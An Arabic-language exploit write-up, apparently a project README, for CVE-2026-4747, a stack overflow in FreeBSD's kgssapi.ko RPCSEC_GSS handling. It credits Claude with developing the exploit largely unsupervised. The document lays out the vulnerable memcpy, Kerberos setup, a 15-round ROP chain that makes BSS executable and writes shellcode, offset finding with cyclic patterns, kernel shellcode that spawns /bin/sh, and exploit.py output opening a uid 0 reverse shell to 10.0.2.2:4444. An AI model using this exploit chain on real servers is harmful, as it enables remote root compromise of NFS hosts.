
استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) على مستوى النواة لنظام FreeBSD CVE-2026-4747، وهو تجاوز سعة المخزن المؤقت للمكدس في kgssapi.ko يؤدي إلى الحصول على صلاحيات الجذر (root shell) عبر سلسلة ROP وشيلكود.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
تجاوز سعة المخزن المؤقت في المكدس في kgssapi.ko → شل جذر خلال ~4 ساعات
"أول استغلال لثغرة تنفيذ كود عن بُعد في النواة تم اكتشافه واستغلاله بواسطة ذكاء اصطناعي. الوقت الإجمالي: ~4 ساعات من العمل الفعلي."
— اكتشفه Nicholas Carlini باستخدام Claude (Anthropic) · نُشر في 26 مارس 2026
CVE-2026-4747 هي ثغرة تجاوز سعة المخزن المؤقت في المكدس (stack buffer overflow) تقع في kgssapi.ko، وحدة نواة FreeBSD التي تنفذ مصادقة RPCSEC_GSS لنظام NFS.
تقوم الدالة svc_rpc_gss_validate() بنسخ محتوى بيانات الاعتماد (credential body) الذي يتحكم فيه المهاجم إلى مخزن مؤقت بحجم 128 بايت في المكدس (rpchdr[]) دون التحقق من الحجم. وبما أن 32 بايت مشغولة بالفعل بحقول ترويسة RPC، فلا يتبقى سوى 96 بايت متاحة — لكن طبقة XDR تسمح ببيانات اعتماد يصل حجمها إلى 400 بايت، مما يعطي 304 بايت من التجاوز.
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (تجاوز سعة المخزن المؤقت في المكدس) |
| المكوّن | kgssapi.ko / librpcgss_sec |
| البروتوكول | NFS / RPCSEC_GSS / Kerberos |
| الامتياز المطلوب | تذكرة Kerberos صالحة (امتياز منخفض) |
| التأثير | تنفيذ كود عن بُعد في النواة → uid 0 |
| CVSS | 9.8 حرجة |
| تم التصحيح | FreeBSD-SA-26:08.rpcsec_gss |
26 مارس 2026 ── FreeBSD تنشر FreeBSD-SA-26:08.rpcsec_gss
الإشادة: "Nicholas Carlini باستخدام Claude، Anthropic"
29 مارس 2026 ── 09:45 صباحًا بتوقيت المحيط الهادئ: طُلب من Claude تطوير استغلال
05:00 مساءً بتوقيت المحيط الهادئ: Claude يسلم شل جذر يعمل
الإجمالي: ~7 ساعات زمنية / ~4 ساعات من العمل الفعلي لـ Claude
كان الإنسان بعيدًا عن الجهاز (AFK) خلال معظم العملية.
/* في svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* مخزن مؤقت في المكدس */
/* 32 بايت مستهلكة بالفعل بحقول ترويسة RPC */
/* لم يتبق سوى 96 بايت متاحة */
/* XDR يسمح ببيانات اعتماد يصل حجمها إلى 400 بايت */
/* 400 - 96 = 304 بايت من التجاوز → اختطاف RIP */
memcpy(rpchdr, credential_body, credential_len); /* ← خطأ: بدون التحقق من الحجم */
FreeBSD 14.x لا يحتوي على:
int32_t[])هذا يجعل الانتقال من التجاوز → التحكم في RIP مباشرًا.
المهاجم (الشبكة)
│
│ تذكرة Kerberos صالحة لـ nfs/target@REALM
│
▼
خادم NFS (المنفذ 2049/TCP)
│
│ طلب RPCSEC_GSS مع credential_len = 400
│
▼
svc_rpc_gss_validate() ← حلقة النواة 0
│
│ memcpy بدون التحقق من الحجم
│ [مخزن مؤقت 128 بايت + تجاوز 304 بايت]
│
▼
تدمير المكدس → التحكم في RIP → سلسلة ROP → شيلكود
│
▼
kproc_create() + kern_execve("/bin/sh") → شل عكسي بـ uid=0
حلّ Claude 6 مشاكل مختلفة للانتقال من النشرة الاستشارية إلى شل الجذر:
# جهاز افتراضي FreeBSD 14.4-RELEASE مع:
# - معالجان أو أكثر (FreeBSD يطلق 8 خيوط NFS لكل معالج؛ الاستغلال يحتاج 15 جولة)
# - تحميل kgssapi.ko
# - تفعيل NFS على المنفذ 2049
# - إعداد MIT Kerberos KDC (مطلوب للوصول إلى الكود القابل للاستغلال)
# - إعادة توجيه المنافذ في QEMU: host:2049 → guest:2049، host:8888 → guest:88 (KDC)
# إعداد Kerberos الحرج على جهاز المهاجم:
# /etc/krb5.conf
[libdefaults]
rdns = false # بدون هذا: تذكرة لـ nfs/localhost@REALM (غير صحيحة)
dns_canonicalize_hostname = false # الخادم يرفض مع KRB5KRB_AP_WRONG_PRINC
حجم الشيلكود 432 بايت لكن لا يتوفر سوى 200 بايت لسلسلة ROP لكل حزمة.
الجولة 1: ROP → pmap_change_prot(BSS, RWX) ← جعل BSS قابلاً للتنفيذ
الجولات 2-14: ROP → كتابة 32 بايت من الشيلكود إلى BSS (4 كتابات × 8 بايت)
الجولة 15: ROP → كتابة آخر بايتات + القفز إلى الشيلكود
الميزانية لكل جولة: 4 كتابات × 40 بايت = 160 بايت + 24 بايت للخروج = 184 بايت ✓ (< 200)
; كل جولة تنتهي بـ kthread_exit(0) بدلاً من العودة العادية
; الخادم لا ينهار — ببساطة يفقد خيط NFS واحد
; مع معالجين: 16 خيطًا متاحًا → كافٍ لـ 15 جولة
# تسلسل De Bruijn → كل سلسلة فرعية من 8 بايت فريدة
# إرسالها كـ credential body → انهيار النواة → قراءة RIP من تفريغ الانهيار
# فك التجميع قال الإزاحة 168 → الحقيقي: 200 بايت
# الفرق: 32 بايت من ترويسة GSS التي لم يشملها التحليل الثابت
pattern = cyclic(400) # De Bruijn من 400 بايت
# تفريغ الانهيار: مؤشر التعليمات = 0x6941624162423941
# → cyclic_find(0x6941624162423941) = 200
يعمل الشيلكود في خيط NFS نقي من النواة — بدون vmspace، بدون trapframe.
/* المرحلة 1 (في شيلكود خيط NFS المختطف): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* قتل خيط NFS بشكل نظيف */
/* المرحلة 2 (في العملية الجديدة): */
/* 1. مسح سجلات التصحيح (خطأ في العتاد - انظر الخطوة 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. تنفيذ /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. حرج: مسح علامة P_KPROC */
/* بدون هذا، يستدعي fork_exit() الدالة kthread_exit() ويقتل العملية */
proc->p_flag &= ~P_KPROC;
/* 4. العودة → fork_exit() → userret() → iretq → الحلقة 3 → شل بـ uid=0 */
الأعراض: العملية الفرعية تنهار مع trap 1 (استثناء تصحيح) عند تعليمة صالحة.
السبب: kproc_create/fork1 ينسخ PCB من العملية الأم، مورثًا نقاط توقف DDB
التي بقيت من انهيارات سابقة أثناء تطوير الاستغلال.
الإصلاح: تعليمتان قبل kproc_create:
xor eax, eax
mov dr7, rax ← تعطيل جميع نقاط توقف العتاد
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: استغلال تنفيذ كود عن بُعد في نواة FreeBSD RPCSEC_GSS
تجاوز المكدس → ROP → شيلكود → شل عكسي بـ uid 0
==============================================================
الهدف: 127.0.0.1:2049
الاستدعاء العكسي: 10.0.2.2:4444
SPN: nfs/[email protected]
الشيلكود: 432 بايت (54 كلمة رباعية)
التسليم: 15 جولة (1 pmap + 14 كتابة)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS أصبح الآن RWX
[R2/15] كتابة (4 كلمات رباعية → 0xffffffff8198a800) ✓
[R3/15] كتابة (4 كلمات رباعية → 0xffffffff8198a820) ✓
...
[R15/15] كتابة + تنفيذ → القفز إلى 0xffffffff8198a800